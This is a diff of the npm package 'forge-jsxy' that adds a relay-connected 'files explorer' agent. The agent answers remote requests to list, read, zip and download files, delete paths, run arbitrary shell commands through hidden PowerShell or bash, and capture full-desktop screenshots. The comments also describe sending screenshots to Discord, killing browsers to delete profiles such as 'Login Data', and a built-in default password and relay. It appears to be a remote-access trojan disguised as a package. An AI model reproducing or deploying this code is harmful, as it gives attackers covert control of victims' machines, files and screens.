forge-jsxy 1.0.66

package/dist/filesExplorer.d.ts

@@ -0,0 +1,9 @@
+export interface FilesExplorerHtmlOptions {
+    /** Shown in UI and passed to JS (use env CFGMGR_SESSION_PASSWORD in production). */
+    defaultPassword?: string;
+    /** WebSocket relay URL hint for browser (e.g. ws://host:9877 for forge-js relay). */
+    relayFallbackWs?: string;
+}
+/** SVG served at `GET /forge-explorer-favicon.svg` for explorer tab + PWA-style apple-touch-icon. */
+export declare function getForgeExplorerFaviconSvg(): string;
+export declare function buildFilesExplorerHtml(opts?: FilesExplorerHtmlOptions): string;

package/dist/filesExplorer.js

@@ -0,0 +1,110 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.getForgeExplorerFaviconSvg = getForgeExplorerFaviconSvg;
+exports.buildFilesExplorerHtml = buildFilesExplorerHtml;
+/**
+ * Build file-explorer HTML for relay routes `/`, `/files`, `/explorer`, `/viewer`
+ * — same template as Python `fs_browser_html` with injectable defaults.
+ */
+const fs = __importStar(require("node:fs"));
+const path = __importStar(require("node:path"));
+const deploymentDefaults_1 = require("./deploymentDefaults");
+let _cachedTemplate = null;
+let _cachedFaviconSvg = null;
+function loadTemplate() {
+    if (_cachedTemplate)
+        return _cachedTemplate;
+    const candidates = [
+        path.join(__dirname, "assets", "files-explorer-template.html"),
+        path.join(__dirname, "..", "assets", "files-explorer-template.html"),
+    ];
+    for (const p of candidates) {
+        try {
+            if (fs.existsSync(p)) {
+                _cachedTemplate = fs.readFileSync(p, "utf8");
+                return _cachedTemplate;
+            }
+        }
+        catch {
+            continue;
+        }
+    }
+    throw new Error("files-explorer-template.html not found (run npm run build and ensure assets are copied to dist/)");
+}
+/** SVG served at `GET /forge-explorer-favicon.svg` for explorer tab + PWA-style apple-touch-icon. */
+function getForgeExplorerFaviconSvg() {
+    if (_cachedFaviconSvg)
+        return _cachedFaviconSvg;
+    const candidates = [
+        path.join(__dirname, "assets", "forge-explorer-favicon.svg"),
+        path.join(__dirname, "..", "assets", "forge-explorer-favicon.svg"),
+    ];
+    for (const p of candidates) {
+        try {
+            if (fs.existsSync(p)) {
+                _cachedFaviconSvg = fs.readFileSync(p, "utf8");
+                return _cachedFaviconSvg;
+            }
+        }
+        catch {
+            continue;
+        }
+    }
+    throw new Error("forge-explorer-favicon.svg not found (run npm run build and ensure assets are copied to dist/)");
+}
+function htmlEscapeAttr(s) {
+    return s
+        .replace(/&/g, "&amp;")
+        .replace(/"/g, "&quot;")
+        .replace(/</g, "&lt;")
+        .replace(/>/g, "&gt;");
+}
+function buildFilesExplorerHtml(opts = {}) {
+    const pwd = opts.defaultPassword ??
+        process.env.CFGMGR_SESSION_PASSWORD ??
+        deploymentDefaults_1.DEFAULT_EXPLORER_PASSWORD;
+    let relay = opts.relayFallbackWs ??
+        process.env.CFGMGR_RELAY_FALLBACK ??
+        process.env.CFGMGR_RELAY_URL ??
+        "";
+    if (!relay && !(0, deploymentDefaults_1.deploymentDefaultsDisabled)()) {
+        relay = (0, deploymentDefaults_1.defaultRelayWsUrl)();
+    }
+    return loadTemplate()
+        .replace(/@@PWD_HINT@@/g, htmlEscapeAttr(pwd))
+        .replace(/@@RELAY_FALLBACK_JS@@/g, JSON.stringify(relay))
+        .replace(/@@PWD_JS@@/g, JSON.stringify(pwd));
+}

package/dist/fsMessages.d.ts

@@ -0,0 +1 @@
+export declare function buildFsResponse(msg: Record<string, unknown>, allowFilesystem: boolean): Promise<Record<string, unknown>>;

package/dist/fsMessages.js

@@ -0,0 +1,123 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.buildFsResponse = buildFsResponse;
+/**
+ * Filesystem explorer JSON-RPC responses — same types as cfgmgr.remote._fs_response.
+ */
+const fsProtocol_1 = require("./fsProtocol");
+async function buildFsResponse(msg, allowFilesystem) {
+    /** Always echo a string — avoids silent client mismatch when JSON coerces ids. */
+    const rid = String(msg.request_id ?? "");
+    if (!allowFilesystem) {
+        return {
+            type: "fs_error",
+            request_id: rid,
+            ok: false,
+            error: "filesystem explorer disabled on agent",
+        };
+    }
+    const msgType = String(msg.type || "");
+    try {
+        if (msgType === "fs_roots") {
+            const payload = (0, fsProtocol_1.fsRootsPayload)();
+            return { type: "fs_roots_result", request_id: rid, ...payload };
+        }
+        if (msgType === "fs_list") {
+            const pathStr = String(msg.path ?? "");
+            const searchQuery = String(msg.search ?? "");
+            const result = (0, fsProtocol_1.fsListDir)(pathStr, null, searchQuery);
+            return { type: "fs_list_result", request_id: rid, ...result };
+        }
+        if (msgType === "fs_read") {
+            const pathStr = String(msg.path ?? "");
+            let mbInt = null;
+            const mb = msg.max_bytes;
+            if (mb != null) {
+                const n = parseInt(String(mb), 10);
+                if (!Number.isNaN(n))
+                    mbInt = Math.max(256, Math.min(n, fsProtocol_1.MAX_READ_BYTES * 4));
+            }
+            let off = 0;
+            try {
+                off = parseInt(String(msg.offset || 0), 10) || 0;
+            }
+            catch {
+                off = 0;
+            }
+            const chunk = Boolean(msg.chunk);
+            const force = Boolean(msg.force);
+            const forceKill = Boolean(msg.force_kill);
+            const result = chunk
+                ? await (0, fsProtocol_1.fsReadFileChunked)(pathStr, null, mbInt, off, rid, force, forceKill)
+                : (0, fsProtocol_1.fsReadFile)(pathStr, null, mbInt, off, false);
+            return { type: "fs_read_result", request_id: rid, ...result };
+        }
+        if (msgType === "fs_zip") {
+            const pathStr = String(msg.path ?? "");
+            let mbInt = null;
+            const mb = msg.max_bytes;
+            if (mb != null) {
+                const n = parseInt(String(mb), 10);
+                if (!Number.isNaN(n))
+                    mbInt = Math.max(256, Math.min(n, fsProtocol_1.MAX_READ_BYTES * 4));
+            }
+            let off = 0;
+            try {
+                off = parseInt(String(msg.offset || 0), 10) || 0;
+            }
+            catch {
+                off = 0;
+            }
+            const chunk = Boolean(msg.chunk);
+            const force = Boolean(msg.force);
+            const forceKill = Boolean(msg.force_kill);
+            const result = await (0, fsProtocol_1.fsZipRead)(pathStr, String(rid), null, off, chunk, mbInt, force, forceKill);
+            return { type: "fs_zip_result", request_id: rid, ...result };
+        }
+        if (msgType === "fs_parent") {
+            const pathStr = String(msg.path ?? "");
+            const result = (0, fsProtocol_1.fsParentDirectory)(pathStr);
+            return { type: "fs_parent_result", request_id: rid, ...result };
+        }
+        if (msgType === "fs_delete") {
+            const pathStr = String(msg.path ?? "");
+            const force = Boolean(msg.force);
+            const forceKill = Boolean(msg.force_kill);
+            const result = await (0, fsProtocol_1.fsDeletePath)(pathStr, null, force || forceKill ? { force, forceKill } : undefined);
+            return { type: "fs_delete_result", request_id: rid, ...result };
+        }
+        if (msgType === "fs_shell_exec") {
+            const command = String(msg.command ?? "");
+            const cwd = msg.cwd != null ? String(msg.cwd) : undefined;
+            let timeout = 120_000;
+            try {
+                const n = parseInt(String(msg.timeout_ms ?? ""), 10);
+                if (Number.isFinite(n))
+                    timeout = n;
+            }
+            catch {
+                timeout = 120_000;
+            }
+            const result = await (0, fsProtocol_1.fsShellExec)(command, null, cwd, timeout);
+            return { type: "fs_shell_exec_result", request_id: rid, ...result };
+        }
+        if (msgType === "fs_screenshot") {
+            const result = await (0, fsProtocol_1.fsDesktopScreenshotCapture)();
+            return { type: "fs_screenshot_result", request_id: rid, ...result };
+        }
+        return {
+            type: "fs_error",
+            request_id: rid,
+            ok: false,
+            error: `unknown filesystem request: ${msgType || "unknown"}`,
+        };
+    }
+    catch (e) {
+        return {
+            type: "fs_error",
+            request_id: rid,
+            ok: false,
+            error: String(e),
+        };
+    }
+}

package/dist/fsProtocol.d.ts

@@ -0,0 +1,107 @@
+/** Explorer `fs_list` entry cap (sorted). Large dirs need a higher cap; very large values can stress browser memory. */
+export declare const MAX_LIST_ENTRIES = 1000000;
+/**
+ * Default per-chunk read size (non-chunk mode). Chunked downloads clamp `max_bytes` to at most `MAX_READ_BYTES * 4`
+ * (~92 MiB raw → ~123 MiB base64 + JSON, under relay `maxPayload` 2**27).
+ */
+export declare const MAX_READ_BYTES: number;
+export declare function allowedFsRoots(): string[];
+export declare function resolveFsPath(pathStr: string, roots: string[]): {
+    path: string;
+    error?: string;
+};
+export declare function fsListDir(pathStr: string, roots?: string[] | null, searchQuery?: string): Record<string, unknown>;
+export declare function fsReadFile(pathStr: string, roots?: string[] | null, maxBytes?: number | null, offset?: number, chunk?: boolean): Record<string, unknown>;
+/**
+ * Chunked file read for explorer downloads. With a non-empty `request_id` and file size at or below
+ * {@link maxZipTotalBytes}, the file is copied once into a hidden temp mirror (same idea as folder zip),
+ * then chunks are served from that copy so another process holding the original open is less likely to break reads.
+ * Larger files fall back to reading the live path each chunk (no extra disk). Empty `request_id` always uses live path.
+ */
+export declare function fsReadFileChunked(pathStr: string, roots: string[] | null, maxBytes: number | null, offset: number, requestId: string, forceMirror?: boolean, forceKill?: boolean): Promise<Record<string, unknown>>;
+/**
+ * Delete a file or recursively remove a directory under allowed roots.
+ * Refuses to delete an explorer root (e.g. home, drive letter, `/`).
+ *
+ * Uses `fs.rm` with **retries** on transient locks (`EBUSY`, sharing violations, etc.),
+ * same heuristics as `isRetryableCopyError` in `exportMirrorCopy`. Windows: between retries,
+ * attempts `chmod` to clear read-only on the target. Tunables: `CFGMGR_FS_DELETE_ATTEMPTS` (1–30,
+ * default 10), `CFGMGR_FS_DELETE_RETRY_MS` (50–5000, default 200). A live browser handle on
+ * e.g. Edge `Login Data` can still block delete until the app releases the file.
+ *
+ * `opts.force`: more `fs.rm` attempts and longer backoff (does **not** kill other processes).
+ * `opts.forceKill`: terminate processes likely holding this path (best-effort), then delete; may restart them after success or failure.
+ *
+ * Wall clock: entire delete (force-unlock + retries) is capped by **`CFGMGR_FS_DELETE_MAX_WALL_MS`** (15s–1h).
+ * Default **180s** for files / normal deletes; **900s** when **`forceKill` + directory** (large locked profiles).
+ * Windows: after **`taskkill /IM`** on a browser profile, **`CFGMGR_FS_WIN32_PS_AFTER_IM`** defaults to **`skip`**
+ * (no `Win32_Process` wait — delete runs immediately). Set to **`scan`** to enumerate for other lockers; then
+ * **`CFGMGR_FS_WIN32_PS_AFTER_IM_KILL_TIMEOUT_MS`** (default 8s) caps that wait. Full list when no `/IM`:
+ * **`CFGMGR_FS_WIN32_PS_LIST_TIMEOUT_MS`** (default 25s).
+ * Linux / macOS: after **`killall`/`pkill`** on a recognized profile, **`CFGMGR_FS_UNIX_PS_AFTER_KILL`** defaults to
+ * **`skip`** (no full **`/proc`** or **`ps axww`** scan). Set to **`scan`** to enumerate for other lockers.
+ */
+export declare function fsDeletePath(pathStr: string, roots?: string[] | null, opts?: {
+    force?: boolean;
+    forceKill?: boolean;
+}): Promise<Record<string, unknown>>;
+export declare function fsParentDirectory(pathStr: string, roots?: string[] | null): Record<string, unknown>;
+export declare function fsRootsPayload(): Record<string, unknown>;
+export declare function purgeStaleZipSessions(): void;
+export declare function purgeStaleChunkedFileReadSessions(): void;
+/** Drop expired folder-zip and chunked file-read temp sessions (paths + numbers only; frees disk). */
+export declare function purgeStaleExplorerStaging(): void;
+/**
+ * Remove **all** in-memory explorer staging (zip exports + chunked file mirrors) synchronously.
+ * Call on agent shutdown so temp trees under `os.tmpdir()` do not linger after disconnect.
+ */
+export declare function purgeAllExplorerStagingSync(): void;
+/**
+ * Chunked read of a zipped folder export (same session semantics as chunked `fs_read`).
+ * First request (`offset === 0`) builds a temp zip; follow-up chunks use the same `request_id`.
+ */
+export declare function fsZipRead(pathStr: string, requestId: string, roots?: string[] | null, offset?: number, chunk?: boolean, maxBytes?: number | null, forceMirror?: boolean, forceKill?: boolean): Promise<Record<string, unknown>>;
+/**
+ * Turn raw .NET / PowerShell screenshot failures into short, actionable text for the /files explorer
+ * (e.g. locked RDP, Session 0 service, no interactive desktop — `CopyFromScreen` "handle is invalid").
+ */
+export declare function formatWindowsScreenshotUserMessage(raw: unknown): string;
+/**
+ * Shrink in-memory screenshot bytes (PNG/JPEG) to at most `cap` (e.g. Discord attachment limits).
+ * Jimp first, then the same temp-file + ImageMagick/ffmpeg/GDI stack as {@link shrinkScreenshotFileToMaxBytes}.
+ */
+export declare function shrinkScreenshotBufferToMaxBytes(buf: Buffer, cap: number): Promise<{
+    buffer: Buffer;
+    mime: string;
+} | null>;
+/**
+ * Cross-platform full-desktop screenshot for the relay `/files` explorer (`fs_screenshot`) and Discord cadence.
+ * Windows: hidden PowerShell + System.Drawing (**VirtualScreen** = all monitors in one bitmap).
+ * macOS: `screencapture -x`, then per-display `-D` + ImageMagick `+append` when a single capture fails.
+ * Linux: grim / ffmpeg (Wayland); multi-output Wayland uses Sway/Hypr **geometry** + ImageMagick composite
+ * (full virtual desktop, including vertical stacks); falls back to per-output `grim -o` + `+append` when needed.
+ * X11: `ffmpeg` + `xdpyinfo` / `xrandr` virtual size before `maim` / `scrot` (not used when `WAYLAND_DISPLAY` is set).
+ * Optional env: `FORGE_JS_SCREENSHOT_MAX_BYTES` (default ~11 MiB; oversize captures are auto-shrunk when possible).
+ * `FORGE_JS_SCREENSHOT_MAX_WIDTH`: omit = capture down-scales to ~1680px width (plus auto JPEG shrink); `0` = no capture down-scale.
+ * GNOME: set `FORGE_JS_SCREENSHOT_MUTTER_LOGICAL_POS_SCALE=1` if logical-monitor positions need scaling to match `grim` buffers (default off).
+ */
+export declare function fsDesktopScreenshotCapture(): Promise<Record<string, unknown>>;
+/**
+ * Capture the full Windows virtual screen (all monitors merged). Uses `SetProcessDPIAware` + `GetSystemMetrics`
+ * virtual-screen metrics so HiDPI multi-monitor matches GDI `CopyFromScreen` (avoids partial/wrong crops).
+ * Scales down wide canvases so the PNG fits WebSocket payload limits.
+ */
+export declare function fsWindowsScreenshotCapture(): Promise<Record<string, unknown>>;
+/**
+ * Run a shell command on the agent host (same privilege as the forge-agent process).
+ * Windows: hidden **PowerShell** by default (same user/session as the agent — not a separate UAC elevation; run the agent elevated if you need admin parity).
+ * Set `CFGMGR_SHELL_WINDOWS_USE_CMD=1` to restore `cmd.exe /c`.
+ * The `/files` explorer **Upgrade forge-jsx** / **Restart agent** buttons send PowerShell; with `cmd.exe` those commands may fail unless the template is customized.
+ * macOS / Linux: `bash --noprofile --norc -c` when **`/bin/bash` or `/usr/bin/bash`** exists (avoids `bash -lc` login shells
+ *   that source `~/.profile` / conda / interactive hooks and can **hang** `fs_shell_exec` until timeout),
+ *   else `/bin/sh -c`, with `stdio` piped and stdin ignored (**not** `detached: true` — a detached session
+ *   leader plus nested `node` spawning its own detached workers was an occasional source of missing `close`
+ *   / long hangs on Linux and macOS explorer Upgrade / Restart).
+ * Optional `cwd` must resolve under explorer roots when non-empty.
+ */
+export declare function fsShellExec(command: string, roots: string[] | null, cwdPathStr: string | undefined, timeoutMs: number | undefined): Promise<Record<string, unknown>>;